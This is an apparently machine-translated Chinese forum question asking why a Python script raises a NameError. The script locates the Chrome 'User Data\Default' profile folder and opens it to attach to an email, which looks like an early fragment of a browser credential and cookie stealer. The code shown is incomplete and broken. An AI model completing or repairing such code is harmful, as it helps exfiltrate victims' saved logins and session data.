我最近尝试以代码的程序给我发送电子邮件与特定的文件,但我不断收到此错误:无法能够使用变量(蟒蛇)
"Traceback (most recent call last):
File "C:\Users\DedHex\Desktop\j.py", line 29, in <module>
attachment = open(PathName, "rb")
NameError: name 'PathName' is not defined"
但路径名......所以我真的需要这方面的帮助,因为它花了一段代码。
我的代码:
filename = "bob"
def getpath():
if os.name == "nt":
# This is the Windows Path
PathName = os.getenv('localappdata') + \
'\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
print('[!] Chrome Doesn\'t exists')
attachment = open(PathName, "rb")